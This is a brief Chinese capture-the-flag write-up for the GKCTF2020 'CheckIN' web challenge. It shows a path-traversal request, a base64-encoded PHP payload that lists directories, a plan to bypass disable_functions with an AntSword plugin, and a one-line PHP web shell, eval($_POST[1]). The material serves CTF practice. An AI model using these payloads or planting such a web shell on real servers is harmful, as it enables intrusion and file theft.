1 | func=readfile&p=../../../../tmp/flagoefiu4r93 |
[GKCTF2020]CheckIN
是用base64解码执行代码,使用Ginkgo接收,GET、POST都可以
1 | phpinfo(); |
查看php版本和disable_function,被禁用一大堆,包括好多命令执行函数
可以使用print_r()、var_dump()输出,scandir()看目录,file_get_contents()读文件内容。
scandir根目录查看
1 | ?Ginkgo=cHJpbnRfcihzY2FuZGlyKCcuLi8uLi8uLi8uLi8nKSk7 |
又一个flag读不出来,但是还有一个readflag可以读出来,文件前缀是ELF,百度以后知道是linux的可执行文件,system()被禁,只能使用disable_function绕过,正好蚁剑的插件市场上有这个插件
传码
1 | eval($_POST[1]); |